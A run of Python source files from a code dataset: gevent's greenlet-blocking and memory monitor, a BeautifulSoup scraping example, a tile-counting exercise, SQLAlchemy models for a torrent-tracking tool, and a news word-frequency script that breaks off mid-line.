'get_ident')\nstart_new_thread = get_original(thread_mod_name, 'start_new_thread')\nthread_sleep = get_original('time', 'sleep')\n\n\n\nclass MonitorWarning(RuntimeWarning):\n \"\"\"The type of warnings we emit.\"\"\"\n\n\nclass GreenletTracer(object):\n\n # A counter, incremented by the greenlet trace function\n # we install on every greenlet switch. This is reset when the\n # periodic monitoring thread runs.\n greenlet_switch_counter = 0\n\n # The greenlet last switched to.\n active_greenlet = None\n\n # The trace function that was previously installed,\n # if any.\n previous_trace_function = None\n\n def __init__(self):\n prev_trace = settrace(self)\n self.previous_trace_function = prev_trace\n\n def kill(self): # pylint:disable=method-hidden\n # Must be called in the monitored thread.\n settrace(self.previous_trace_function)\n self.previous_trace_function = None\n # Become a no-op\n self.kill = lambda: None\n\n def __call__(self, event, args):\n # This function runs in the thread we are monitoring.\n self.greenlet_switch_counter += 1\n if event in ('switch', 'throw'):\n # args is (origin, target). This is the only defined\n # case\n self.active_greenlet = args[1]\n else:\n self.active_greenlet = None\n if self.previous_trace_function is not None:\n self.previous_trace_function(event, args)\n\n def did_block_hub(self, hub):\n # Check to see if we have blocked since the last call to this\n # method. Returns a true value if we blocked (not in the hub),\n # a false value if everything is fine.\n\n # This may be called in the same thread being traced or a\n # different thread; if a different thread, there is a race\n # condition with this being incremented in the thread we're\n # monitoring, but probably not often enough to lead to\n # annoying false positives.\n\n active_greenlet = self.active_greenlet\n did_switch = self.greenlet_switch_counter != 0\n self.greenlet_switch_counter = 0\n\n if did_switch or active_greenlet is None or active_greenlet is hub:\n # Either we switched, or nothing is running (we got a\n # trace event we don't know about or were requested to\n # ignore), or we spent the whole time in the hub, blocked\n # for IO. Nothing to report.\n return False\n return True, active_greenlet\n\n def ignore_current_greenlet_blocking(self):\n # Don't pay attention to the current greenlet.\n self.active_greenlet = None\n\n def monitor_current_greenlet_blocking(self):\n self.active_greenlet = getcurrent()\n\n def did_block_hub_report(self, hub, active_greenlet, format_kwargs):\n report = ['=' * 80,\n '\\n%s : Greenlet %s appears to be blocked' %\n (gmctime(), active_greenlet)]\n report.append(\" Reported by %s\" % (self,))\n try:\n frame = sys._current_frames()[hub.thread_ident]\n except KeyError:\n # The thread holding the hub has died. Perhaps we shouldn't\n # even report this?\n stack = [\"Unknown: No thread found for hub %r\\n\" % (hub,)]\n else:\n stack = traceback.format_stack(frame)\n report.append('Blocked Stack (for thread id %s):' % (hex(hub.thread_ident),))\n report.append(''.join(stack))\n report.append(\"Info:\")\n report.extend(format_run_info(**format_kwargs))\n\n return report\n\nclass _HubTracer(GreenletTracer):\n def __init__(self, hub, max_blocking_time):\n GreenletTracer.__init__(self)\n self.max_blocking_time = max_blocking_time\n self.hub = hub\n\n def kill(self): # pylint:disable=method-hidden\n self.hub = None\n GreenletTracer.kill(self)\n\n\nclass HubSwitchTracer(_HubTracer):\n # A greenlet tracer that records the last time we switched *into* the hub.\n\n last_entered_hub = 0\n\n def __call__(self, event, args):\n GreenletTracer.__call__(self, event, args)\n if self.active_greenlet is self.hub:\n self.last_entered_hub = perf_counter()\n\n def did_block_hub(self, hub):\n if perf_counter() - self.last_entered_hub > self.max_blocking_time:\n return True, self.active_greenlet\n\n\nclass MaxSwitchTracer(_HubTracer):\n # A greenlet tracer that records the maximum time between switches,\n # not including time spent in the hub.\n\n max_blocking = 0\n\n def __init__(self, hub, max_blocking_time):\n _HubTracer.__init__(self, hub, max_blocking_time)\n self.last_switch = perf_counter()\n\n def __call__(self, event, args):\n old_active = self.active_greenlet\n GreenletTracer.__call__(self, event, args)\n if old_active is not self.hub and old_active is not None:\n # If we're switching out of the hub, the blocking\n # time doesn't count.\n switched_at = perf_counter()\n self.max_blocking = max(self.max_blocking,\n switched_at - self.last_switch)\n\n def did_block_hub(self, hub):\n if self.max_blocking == 0:\n # We never switched. Check the time now\n self.max_blocking = perf_counter() - self.last_switch\n\n if self.max_blocking > self.max_blocking_time:\n return True, self.active_greenlet\n\n\nclass _MonitorEntry(object):\n\n __slots__ = ('function', 'period', 'last_run_time')\n\n def __init__(self, function, period):\n self.function = function\n self.period = period\n self.last_run_time = 0\n\n def __eq__(self, other):\n return self.function == other.function and self.period == other.period\n\n def __repr__(self):\n return repr((self.function, self.period, self.last_run_time))\n\n\n@implementer(IPeriodicMonitorThread)\nclass PeriodicMonitoringThread(object):\n # This doesn't extend threading.Thread because that gets monkey-patched.\n # We use the low-level 'start_new_thread' primitive instead.\n\n # The amount of seconds we will sleep when we think we have nothing\n # to do.\n inactive_sleep_time = 2.0\n\n # The absolute minimum we will sleep, regardless of\n # what particular monitoring functions want to say.\n min_sleep_time = 0.005\n\n # The minimum period in seconds at which we will check memory usage.\n # Getting memory usage is fairly expensive.\n min_memory_monitor_period = 2\n\n # A list of _MonitorEntry objects: [(function(hub), period, last_run_time))]\n # The first entry is always our entry for self.monitor_blocking\n _monitoring_functions = None\n\n # The calculated min sleep time for the monitoring functions list.\n _calculated_sleep_time = None\n\n # A boolean value that also happens to capture the\n # memory usage at the time we exceeded the threshold. Reset\n # to 0 when we go back below.\n _memory_exceeded = 0\n\n # The instance of GreenletTracer we're using\n _greenlet_tracer = None\n\n def __init__(self, hub):\n self._hub_wref = wref(hub, self._on_hub_gc)\n self.should_run = True\n\n # Must be installed in the thread that the hub is running in;\n # the trace function is threadlocal\n assert get_thread_ident() == hub.thread_ident\n self._greenlet_tracer = GreenletTracer()\n\n self._monitoring_functions = [_MonitorEntry(self.monitor_blocking,\n GEVENT_CONFIG.max_blocking_time)]\n self._calculated_sleep_time = GEVENT_CONFIG.max_blocking_time\n # Create the actual monitoring thread. This is effectively a \"daemon\"\n # thread.\n self.monitor_thread_ident = start_new_thread(self, ())\n\n # We must track the PID to know if your thread has died after a fork\n self.pid = os.getpid()\n\n def _on_fork(self):\n # Pseudo-standard method that resolver_ares and threadpool\n # also have, called by hub.reinit()\n pid = os.getpid()\n if pid != self.pid:\n self.pid = pid\n self.monitor_thread_ident = start_new_thread(self, ())\n\n @property\n def hub(self):\n return self._hub_wref()\n\n\n def monitoring_functions(self):\n # Return a list of _MonitorEntry objects\n\n # Update max_blocking_time each time.\n mbt = GEVENT_CONFIG.max_blocking_time # XXX: Events so we know when this changes.\n if mbt != self._monitoring_functions[0].period:\n self._monitoring_functions[0].period = mbt\n self._calculated_sleep_time = min(x.period for x in self._monitoring_functions)\n return self._monitoring_functions\n\n def add_monitoring_function(self, function, period):\n if not callable(function):\n raise ValueError(\"function must be callable\")\n\n if period is None:\n # Remove.\n self._monitoring_functions = [\n x for x in self._monitoring_functions\n if x.function != function\n ]\n elif period <= 0:\n raise ValueError(\"Period must be positive.\")\n else:\n # Add or update period\n entry = _MonitorEntry(function, period)\n self._monitoring_functions = [\n x if x.function != function else entry\n for x in self._monitoring_functions\n ]\n if entry not in self._monitoring_functions:\n self._monitoring_functions.append(entry)\n self._calculated_sleep_time = min(x.period for x in self._monitoring_functions)\n\n def calculate_sleep_time(self):\n min_sleep = self._calculated_sleep_time\n if min_sleep <= 0:\n # Everyone wants to be disabled. Sleep for a longer period of\n # time than usual so we don't spin unnecessarily. We might be\n # enabled again in the future.\n return self.inactive_sleep_time\n return max((min_sleep, self.min_sleep_time))\n\n def kill(self):\n if not self.should_run:\n # Prevent overwriting trace functions.\n return\n # Stop this monitoring thread from running.\n self.should_run = False\n # Uninstall our tracing hook\n self._greenlet_tracer.kill()\n\n def _on_hub_gc(self, _):\n self.kill()\n\n def __call__(self):\n # The function that runs in the monitoring thread.\n # We cannot use threading.current_thread because it would\n # create an immortal DummyThread object.\n getcurrent().gevent_monitoring_thread = wref(self)\n\n try:\n while self.should_run:\n functions = self.monitoring_functions()\n assert functions\n sleep_time = self.calculate_sleep_time()\n\n thread_sleep(sleep_time)\n\n # Make sure the hub is still around, and still active,\n # and keep it around while we are here.\n hub = self.hub\n if not hub:\n self.kill()\n\n if self.should_run:\n this_run = perf_counter()\n for entry in functions:\n f = entry.function\n period = entry.period\n last_run = entry.last_run_time\n if period and last_run + period <= this_run:\n entry.last_run_time = this_run\n f(hub)\n del hub # break our reference to hub while we sleep\n\n except SystemExit:\n pass\n except: # pylint:disable=bare-except\n # We're a daemon thread, so swallow any exceptions that get here\n # during interpreter shutdown.\n if not sys or not sys.stderr: # pragma: no cover\n # Interpreter is shutting down\n pass\n else:\n hub = self.hub\n if hub is not None:\n # XXX: This tends to do bad things like end the process, because we\n # try to switch *threads*, which can't happen. Need something better.\n hub.handle_error(self, *sys.exc_info())\n\n def monitor_blocking(self, hub):\n # Called periodically to see if the trace function has\n # fired to switch greenlets. If not, we will print\n # the greenlet tree.\n\n # For tests, we return a true value when we think we found something\n # blocking\n\n did_block = self._greenlet_tracer.did_block_hub(hub)\n if not did_block:\n return\n\n active_greenlet = did_block[1]\n report = self._greenlet_tracer.did_block_hub_report(\n hub, active_greenlet,\n dict(greenlet_stacks=False, current_thread_ident=self.monitor_thread_ident))\n\n stream = hub.exception_stream\n for line in report:\n # Printing line by line may interleave with other things,\n # but it should also prevent a \"reentrant call to print\"\n # when the report is large.\n print(line, file=stream)\n\n notify(EventLoopBlocked(active_greenlet, GEVENT_CONFIG.max_blocking_time, report))\n return (active_greenlet, report)\n\n def ignore_current_greenlet_blocking(self):\n self._greenlet_tracer.ignore_current_greenlet_blocking()\n\n def monitor_current_greenlet_blocking(self):\n self._greenlet_tracer.monitor_current_greenlet_blocking()\n\n def _get_process(self): # pylint:disable=method-hidden\n try:\n # The standard library 'resource' module doesn't provide\n # a standard way to get the RSS measure, only the maximum.\n # You might be tempted to try to compute something by adding\n # together text and data sizes, but on many systems those come back\n # zero. So our only option is psutil.\n from psutil import Process, AccessDenied\n # Make sure it works (why would we be denied access to our own process?)\n try:\n proc = Process()\n proc.memory_full_info()\n except AccessDenied: # pragma: no cover\n proc = None\n except ImportError:\n proc = None\n\n self._get_process = lambda: proc\n return proc\n\n def can_monitor_memory_usage(self):\n return self._get_process() is not None\n\n def install_monitor_memory_usage(self):\n # Start monitoring memory usage, if possible.\n # If not possible, emit a warning.\n if not self.can_monitor_memory_usage():\n import warnings\n warnings.warn(\"Unable to monitor memory usage. Install psutil.\",\n MonitorWarning)\n return\n\n self.add_monitoring_function(self.monitor_memory_usage,\n max(GEVENT_CONFIG.memory_monitor_period,\n self.min_memory_monitor_period))\n\n def monitor_memory_usage(self, _hub):\n max_allowed = GEVENT_CONFIG.max_memory_usage\n if not max_allowed:\n # They disabled it.\n return -1 # value for tests\n\n rusage = self._get_process().memory_full_info()\n # uss only documented available on Windows, Linux, and OS X.\n # If not available, fall back to rss as an aproximation.\n mem_usage = getattr(rusage, 'uss', 0) or rusage.rss\n\n event = None # Return value for tests\n\n if mem_usage > max_allowed:\n if mem_usage > self._memory_exceeded:\n # We're still growing\n event = MemoryUsageThresholdExceeded(\n mem_usage, max_allowed, rusage)\n notify(event)\n self._memory_exceeded = mem_usage\n else:\n # we're below. Were we above it last time?\n if self._memory_exceeded:\n event = MemoryUsageUnderThreshold(\n mem_usage, max_allowed, rusage, self._memory_exceeded)\n notify(event)\n self._memory_exceeded = 0\n\n return event\n\n def __repr__(self):\n return '<%s at %s in thread %s greenlet %r for %r>' % (\n self.__class__.__name__,\n hex(id(self)),\n hex(self.monitor_thread_ident),\n getcurrent(),\n self._hub_wref())\n","sub_path":"src/gevent/_monitor.py","file_name":"_monitor.py","file_ext":"py","file_size_in_byte":17195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"620387523","text":"import bs4, requests\r\n\r\nres = requests.get(\"http://automatetheboringstuff.com/\")\r\nres.raise_for_status()\r\n\r\nsoup = bs4.BeautifulSoup(res.text, \"html.parser\")\r\n# right click element > inspect\r\n# right click highlighted code > copy > copy selector\r\nelems = soup.select(\"body > div.main > div:nth-child(1) > h2:nth-child(19)\")\r\nprint(elems[0].text)\r\n","sub_path":"0_reference/AutomateTheBoringStuff/example_web_html.py","file_name":"example_web_html.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"192426306","text":"# 1812 / calculate how many tiles will be needed\nfor T in range(int(input())):\n N, M = map(int, input().split()) # number of needed tiles, len of basic tile\n S = sorted(list(map(int, input().split())), reverse=True) # power number list\n\n # set basic number of needed tiles and remain tiles list\n cnt = 1\n areas = [(M, M)]\n for s in S:\n ln = 2 ** s # calculate len of cutting tile\n for i in range(len(areas)):\n w, h = areas[i] # compare width and height of cutted tile\n # if len of original tile is bigger, cut it\n if w >= ln and h >= ln:\n areas.append((w - ln, h - ln))\n areas.append((w - ln, ln))\n areas.append((ln, h - ln))\n areas = areas[:i] + areas[i + 1:]\n break\n # else plus 1 to counter and add cutted tile\n elif i == len(areas) - 1:\n cnt += 1\n areas.append((M - ln, M - ln))\n areas.append((M - ln, ln))\n areas.append((ln, M - ln))\n\n print(f'#{T + 1} {cnt}')\n ","sub_path":"D5/1812.py","file_name":"1812.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"125918260","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2017 Luis López \n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n# USA.\n\n\nimport re\nimport sys\nfrom urllib import parse\n\n\nfrom appkit import utils\nfrom appkit.db import sqlalchemyutils as sautils\nfrom sqlalchemy import (\n Column,\n Integer,\n String,\n ForeignKey,\n and_,\n # event,\n func,\n orm,\n schema\n)\nfrom sqlalchemy.ext.hybrid import hybrid_property\n\n\nfrom arroyo import bittorrentlib\n\n\nsautils.Base.metadata.naming_convention = {\n \"ix\": 'ix_%(column_0_label)s',\n \"uq\": \"uq_%(table_name)s_%(column_0_name)s\",\n \"ck\": \"ck_%(table_name)s_%(constraint_name)s\",\n \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n \"pk\": \"pk_%(table_name)s\"\n}\n\n\nclass Variable(sautils.KeyValueItem, sautils.Base):\n __tablename__ = 'variable'\n __table_args__ = schema.UniqueConstraint('key'),\n\n\nclass Source(sautils.Base):\n __tablename__ = 'source'\n\n # Required\n id = Column(Integer, autoincrement=True, primary_key=True)\n name = Column(String, nullable=False)\n uri = Column(String, nullable=False, unique=True)\n provider = Column(String, nullable=False)\n\n # EntitySupport\n episode_id = Column(Integer,\n ForeignKey('episode.id', ondelete=\"SET NULL\"),\n nullable=True)\n episode = orm.relationship('Episode',\n uselist=False,\n backref=orm.backref(\"sources\",\n cascade_backrefs=False,\n lazy='select'))\n\n movie_id = Column(Integer,\n ForeignKey('movie.id', ondelete=\"SET NULL\"),\n nullable=True)\n movie = orm.relationship('Movie',\n uselist=False,\n backref=orm.backref(\"sources\",\n cascade_backrefs=False,\n lazy='select'))\n\n def __init__(self, name, uri, provider,\n timestamp=None,\n size=None,\n seeds=None,\n leechers=None,\n type=None,\n language=None,\n meta=None,\n tags=None):\n\n # Non database attributes\n self.meta = meta or []\n self.language = language\n self.leechers = leechers\n self.seeds = seeds\n self.size = size\n self.timestamp = timestamp or utils.now_timestamp()\n self.tags = tags or []\n self.type = type\n\n super().__init__(name=name, uri=uri, provider=provider)\n\n def __eq__(self, other):\n return _eq_from_attrs(self, other, ('uri',))\n\n def __lt__(self, other):\n return _lt_from_attrs(self, other, ('name',))\n\n def __repr__(self):\n return \"\".format(\n id=self.id or '??',\n oid=id(self),\n fmt=self.format())\n\n def __str__(self):\n return self.format()\n\n def __hash__(self):\n return hash(self.uri)\n\n @orm.validates('name', 'provider', 'urn', 'uri', 'language', 'type')\n def validate(self, key, value):\n \"\"\"\n Wrapper around static method normalize\n \"\"\"\n return self.normalize(key, value)\n\n @staticmethod\n def normalize(key, value):\n def _normalize():\n nonlocal key\n nonlocal value\n\n # Those keys must be a non empty strings\n if key in ['name', 'provider', 'urn', 'uri']:\n if value == '':\n raise ValueError()\n\n return str(value)\n\n # Those keys must be an integer (not None)\n elif key in ['created', 'last_seen']:\n return int(value)\n\n # Those keys must be an integer or None\n elif key in ['size', 'seeds', 'leechers']:\n if value is None:\n return None\n\n return int(key)\n\n # language must be in form of xxx-xx or None\n elif key == 'language':\n if value is None:\n return None\n\n value = str(value)\n\n if not re.match(r'^...(\\-..)?$', value):\n raise ValueError()\n\n return value\n\n # type is limited to some strings or None\n elif key == 'type':\n if value is None:\n return None\n\n value = str(value)\n\n if value in (\n 'application',\n 'book',\n 'episode',\n 'game',\n 'movie',\n 'music',\n 'other',\n 'xxx'):\n return value\n\n raise ValueError()\n\n else:\n raise KeyError()\n\n # Wrap the whole process for easy exception handling\n try:\n return _normalize()\n\n except TypeError as e:\n msg = 'invalid type for {key}: {type}'\n msg = msg.format(key=key, type=type(value))\n raise TypeError(msg) from e\n\n except ValueError as e:\n msg = 'invalid value for {key}: {value}'\n msg = msg.format(key=key, value=repr(value))\n raise ValueError(msg) from e\n\n @hybrid_property\n def entity(self):\n return _entity_getter(self)\n\n @entity.setter\n def entity(self, entity):\n _entity_setter(self, entity)\n\n @property\n def age(self):\n return utils.now_timestamp() - self.timestamp\n\n @property\n def needs_postprocessing(self):\n return self.urn is None and self.uri is not None\n\n @property\n def ratio(self):\n seeds = self.seeds if self.seeds is not None else 0\n leechers = self.leechers if self.leechers is not None else 0\n\n if not self.seeds and not self.leechers:\n return None\n\n if seeds and leechers == 0:\n return float(sys.maxsize)\n\n if seeds == 0 and leechers:\n return 0.0\n\n return seeds / leechers\n\n @property\n def selected(self):\n return (\n self.entity and\n self.entity.selection and\n self.entity.selection.source == self)\n\n @property\n def urn(self):\n if self.uri.startswith('http'):\n return None\n\n qs = parse.urlparse(self.uri).query\n try:\n urn = parse.parse_qs(qs)['xt'][-1]\n except KeyError:\n return None\n urn = bittorrentlib.normalize_urn(urn)\n return urn.lstrip('urn:')\n\n def asdict(self):\n return _asdict_from_attrs(\n self, (\n 'age',\n 'entity',\n 'episode',\n 'episode_id',\n 'id',\n 'language',\n 'leechers',\n 'movie',\n 'movie_id',\n 'name',\n 'provider',\n 'ratio',\n 'seeds',\n 'size',\n 'tags',\n 'timestamp',\n 'type',\n 'uri',\n 'urn'))\n\n def format(self, fmt='{name}', extra_data={}):\n data = self.asdict()\n data['seeds'] = data.get('seeds', '-')\n data['leechers'] = data.get('leechers', '-')\n data['language'] = data.get('language', 'unknow')\n data.update(extra_data)\n\n return fmt.format(**data)\n\n\n# @event.listens_for(Source.tags, 'dispose_collection')\n# @event.listens_for(Source.tags, 'init_collection')\n# @event.listens_for(Source.tags, 'remove')\n# def _source_tags_modifier_cb(target, *args):\n# target.tags_map = {tag.key: tag.value for tag in target.tags}\n\n\n# class SourceTag(sautils.KeyValueItem, sautils.Base):\n# __tablename__ = 'sourcetag'\n# __table_args__ = (\n# schema.UniqueConstraint('source_id', 'key'),\n# )\n\n# source_id = Column(Integer, ForeignKey('source.id', ondelete=\"cascade\"))\n# source = orm.relationship(\"Source\", back_populates=\"tags\", uselist=False)\n\n\n# class Selection(sautils.Base):\n# __tablename__ = 'selection'\n# __mapper_args__ = {\n# 'polymorphic_on': 'type'\n# }\n\n# id = Column(Integer, primary_key=True)\n# type = Column(String(50))\n# source_id = Column(Integer,\n# ForeignKey('source.id', ondelete=\"cascade\"),\n# nullable=False)\n# source = orm.relationship('Source')\n\n# @hybrid_property\n# def entity(self):\n# return _entity_getter(self)\n\n# @entity.setter\n# def entity(self, entity):\n# _entity_setter(self, entity)\n\n\n# class EpisodeSelection(Selection):\n# __mapper_args__ = {\n# 'polymorphic_identity': 'episode'\n# }\n\n# episode_id = Column(Integer,\n# ForeignKey('episode.id', ondelete=\"CASCADE\"),\n# nullable=True)\n# episode = orm.relationship(\"Episode\",\n# backref=orm.backref(\"selection\",\n# cascade=\"all, delete\",\n# uselist=False))\n\n# def __repr__(self):\n# fmt = ' source:{source}'\n# return fmt.format(\n# id=self.id,\n# episode=repr(self.episode),\n# source=repr(self.source))\n\n\n# class MovieSelection(Selection):\n# __mapper_args__ = {\n# 'polymorphic_identity': 'movie'\n# }\n\n# movie_id = Column(Integer,\n# ForeignKey('movie.id', ondelete=\"CASCADE\"),\n# nullable=True)\n# movie = orm.relationship(\"Movie\",\n# backref=orm.backref(\"selection\",\n# cascade=\"all, delete\",\n# uselist=False))\n\n# def __repr__(self):\n# fmt = ' source:{source}'\n# return fmt.format(\n# id=self.id,\n# movie=repr(self.movie),\n# source=repr(self.source))\n\n\nclass Episode(sautils.Base):\n __tablename__ = 'episode'\n __table_args__ = (\n schema.UniqueConstraint('series', 'modifier', 'season', 'number'),\n )\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n series = Column(String, nullable=False)\n modifier = Column(String, nullable=False, default='')\n season = Column(Integer, nullable=False)\n number = Column(Integer, nullable=False)\n\n # SELECTION_MODEL = EpisodeSelection\n\n def __init__(self, *args, modifier='', **kwargs):\n attrs = (\n 'series',\n 'season',\n 'number'\n )\n _init_check_required(kwargs, attrs)\n super().__init__(*args, modifier=modifier, **kwargs)\n\n def __eq__(self, other):\n attrs = (\n 'series',\n 'modifier',\n 'season',\n 'number'\n )\n return _eq_from_attrs(self, other, attrs)\n\n def __lt__(self, other):\n attrs = (\n 'series',\n 'modifier'\n 'season',\n 'number'\n )\n return _lt_from_attrs(self, other, attrs)\n\n def __repr__(self):\n return \"\".format(\n id=self.id or '??',\n oid=id(self),\n fmt=self.format())\n\n def __str__(self):\n return self.__unicode__()\n\n def __unicode__(self):\n return self.format()\n\n @orm.validates(\n 'series',\n 'modifier',\n 'season',\n 'number'\n )\n def validate(self, key, value):\n return self.normalize(key, value)\n\n @classmethod\n def normalize(cls, key, value):\n if key == 'series':\n value = value.lower()\n if not value:\n raise ValueError(value)\n\n elif key == 'modifier':\n value = str(value) if value is not None else ''\n\n elif key in ['season', 'number']:\n value = int(value)\n if value < 0:\n raise ValueError(value)\n\n else:\n raise NotImplementedError(key)\n\n return value\n\n def asdict(self):\n attrs = (\n 'series',\n 'modifier',\n 'season',\n 'number',\n )\n return _asdict_from_attrs(self, attrs)\n\n def format(self, fmt='{series_with_mod} s{season:02d} e{number:02d}',\n extra_data={}):\n d = self.asdict()\n\n if self.modifier:\n series_with_mod = \"{series} ({modifier})\"\n else:\n series_with_mod = \"{series}\"\n\n d['series_with_mod'] = series_with_mod.format(**d)\n d.update(**extra_data)\n\n try:\n return fmt.format(**d)\n except TypeError:\n pass\n\n\nclass Movie(sautils.Base):\n __tablename__ = 'movie'\n __table_args__ = (\n schema.UniqueConstraint('title', 'modifier'),\n )\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n title = Column(String, nullable=False)\n modifier = Column(String, nullable=False, default='')\n\n # SELECTION_MODEL = MovieSelection\n\n def __init__(self, *args, modifier='', **kwargs):\n attrs = (\n 'title',\n )\n _init_check_required(kwargs, attrs)\n super().__init__(*args, modifier=modifier, **kwargs)\n\n def __eq__(self, other):\n attrs = (\n 'title',\n 'modifier'\n )\n return _eq_from_attrs(self, other, attrs)\n\n def __lt__(self, other):\n attrs = (\n 'title',\n 'modifier'\n )\n return _lt_from_attrs(self, other, attrs)\n\n def __repr__(self):\n return \"\".format(\n id=self.id or '??',\n oid=id(self),\n fmt=self.format())\n\n def __str__(self):\n return self.__unicode__()\n\n def __unicode__(self):\n return self.format()\n\n @orm.validates(\n 'title',\n 'modifier'\n )\n def validate(self, key, value):\n return self.normalize(key, value)\n\n @classmethod\n def normalize(cls, key, value):\n if key == 'title':\n value = value.lower()\n if not value:\n raise ValueError(value)\n\n elif key == 'modifier':\n value = str(value) if value else ''\n\n else:\n raise NotImplementedError(key)\n\n return value\n\n def asdict(self):\n attrs = (\n 'title',\n 'modifier'\n )\n return _asdict_from_attrs(self, attrs)\n\n def format(self, fmt='{title_with_mod}', extra_data={}):\n d = self.asdict()\n\n if self.modifier:\n title_with_mod = \"{title} ({modifier})\"\n else:\n title_with_mod = \"{title}\"\n\n d['title_with_mod'] = title_with_mod.format(**d)\n d.update(**extra_data)\n\n return fmt.format(**d)\n\n\nclass Download(sautils.Base):\n __tablename__ = 'download'\n __table_args__ = (\n schema.UniqueConstraint('foreign_id'),\n )\n\n source_id = Column(Integer,\n ForeignKey(\"source.id\", ondelete=\"CASCADE\"),\n primary_key=True, nullable=False)\n source = orm.relationship(\"Source\",\n backref=orm.backref(\"download\",\n cascade=\"all, delete\",\n uselist=False))\n foreign_id = Column(String, nullable=False)\n state = Column(Integer, nullable=False)\n\n @classmethod\n def normalize(cls, key, value):\n if key in ('plugin', 'foreign_id'):\n if not isinstance(value, str):\n value = str(value)\n if value == '':\n raise ValueError(value)\n\n elif key == 'state':\n value = int(value)\n\n # valid_states = [\n # State.INITIALIZING,\n # State.QUEUED, State.PAUSED, State.DOWNLOADING,\n # State.SHARING, State.DONE, State.ARCHIVED]\n # if value not in valid_states:\n # raise ValueError(value)\n\n else:\n raise NotImplementedError(key)\n\n return value\n\n @orm.validates('plugin', 'foreign_id', 'state')\n def validate(self, key, value):\n return self.normalize(key, value)\n\n def __repr__(self):\n fmt = ''\n return fmt.format(id=id(self), state=self.state)\n # return fmt.format(id=id(self), state=STATE_SYMBOLS[self.state])\n\n# class Download(sautils.Base):\n# __tablename__ = 'download'\n\n# id = Column(Integer, primary_key=True)\n# state = Column(String(50))\n# type = Column(String(20))\n\n# __mapper_args__ = {\n# 'polymorphic_on': type,\n# # polymorphic_identity is not defined because this is an\n# # \"abstract base class\"\n# # 'polymorphic_identity': ''\n# }\n\n\n# class EpisodeDownload(Download):\n# __mapper_args__ = {\n# 'polymorphic_identity': 'episode'\n# }\n# episode_id = Column(Integer,\n# ForeignKey(Episode.id, ondelete=\"CASCADE\"),\n# nullable=True)\n# episode = orm.relationship(Episode,\n# uselist=False,\n# backref=orm.backref(\"download\",\n# uselist=False,\n# cascade_backrefs=False,\n# lazy='select'))\n\n\n# class MovieDownload(Download):\n# __mapper_args__ = {\n# 'polymorphic_identity': 'movie'\n# }\n\n# movie_id = Column(Integer,\n# ForeignKey(Movie.id, ondelete=\"CASCADE\"),\n# nullable=True)\n# movie = orm.relationship(Movie,\n# uselist=False,\n# backref=orm.backref(\"download\",\n# uselist=False,\n# cascade_backrefs=False,\n# lazy='select'))\n\n\ndef _init_check_required(kwargs, reqs):\n check = all([attr in kwargs for attr in reqs])\n\n if not check:\n err = (\"Insufficient arguments. \"\n \"Required: {req}, got: {got}\")\n err = err.format(req=', '.join(reqs),\n got=', '.join(kwargs.keys()))\n raise TypeError(err)\n\n\ndef _eq_from_attrs(a, b, attrs):\n if not isinstance(b, a.__class__):\n raise TypeError(b.__class__)\n\n try:\n return all([\n getattr(a, attr) == getattr(b, attr)\n for attr in attrs\n ])\n except AttributeError as e:\n raise TypeError(b) from e\n\n\ndef _lt_from_attrs(a, b, attrs):\n for attr in attrs:\n if not hasattr(a, attr):\n raise TypeError(a)\n\n if not hasattr(b, attr):\n raise TypeError(a)\n\n ret = getattr(a, attr).__lt__(getattr(b, attr))\n if ret != 0:\n return ret\n\n return 0\n\n\ndef _asdict_from_attrs(x, attrs):\n return {attr: getattr(x, attr, None) for attr in attrs}\n\n\ndef _entity_getter(x):\n entity_attrs = (\n 'episode',\n 'movie'\n )\n\n for attr in entity_attrs:\n value = getattr(x, attr, None)\n if value:\n return value\n\n return None\n\n\ndef _entity_setter(x, entity):\n entity_map = {\n Episode: 'episode',\n Movie: 'movie'\n }\n\n # Check for unknown entity type\n if entity is not None and entity.__class__ not in entity_map:\n raise TypeError(entity)\n\n # Set all entity-attributes correctly\n for (model, attr) in entity_map.items():\n value = entity if isinstance(entity, model) else None\n setattr(x, attr, value)\n","sub_path":"arroyo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":20749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"240017000","text":"# в python3 такая строчка обычно не нужна\n# но если у вас специфичные настройки компьютера\n# может пригодиться\n# -*- coding: UTF-8 -*-\nimport json\nimport xml.etree.ElementTree as eTree\n\n\n# Удаляем из текста все HTML тэги и спецсимволы, такие как :/\\'\" .,()\ndef remove_html_tags(text):\n while text.find('<') > -1:\n open_tag = text.find('<')\n close_tag = text.find('>')\n text = '{} {}'.format(text[:open_tag], text[close_tag + 1:])\n return text.replace('(', '').replace(')', '').replace('.', '').replace('\"', '').replace('\\'', '') \\\n .replace('\\\\', '').replace('/', '').replace(',', '').replace(';', '').replace(':', '')\n\n\n# Чтение файла JSON\ndef read_json(filename, encoding): # Чтение файла JSON\n with open(filename, encoding=encoding) as news:\n data = (json.load(news))\n articles = data['rss']['channel']['item'] # Список со статьями\n text = ''\n for article in articles:\n article_text = article['description']\n if isinstance(article_text, dict):\n article_text = article_text[\"__cdata\"]\n text += remove_html_tags(article_text)\n return text\n\n\n# Чтение файла XML\ndef read_xml(filename, encoding):\n parser = eTree.XMLParser(encoding=encoding)\n tree = eTree.parse(filename, parser)\n root = tree.getroot()\n text = ''\n for item in root.iter('item'):\n article = item.find('description')\n article_text = remove_html_tags(article.text)\n text += article_text\n return text\n\n\n# Вывод результатов в консоль\ndef print_results(filename, top_10):\n print('Топ-10 слов в файле {}'.format(filename))\n for word, count in top_10:\n print('{:20}: {} раз '.format(word, 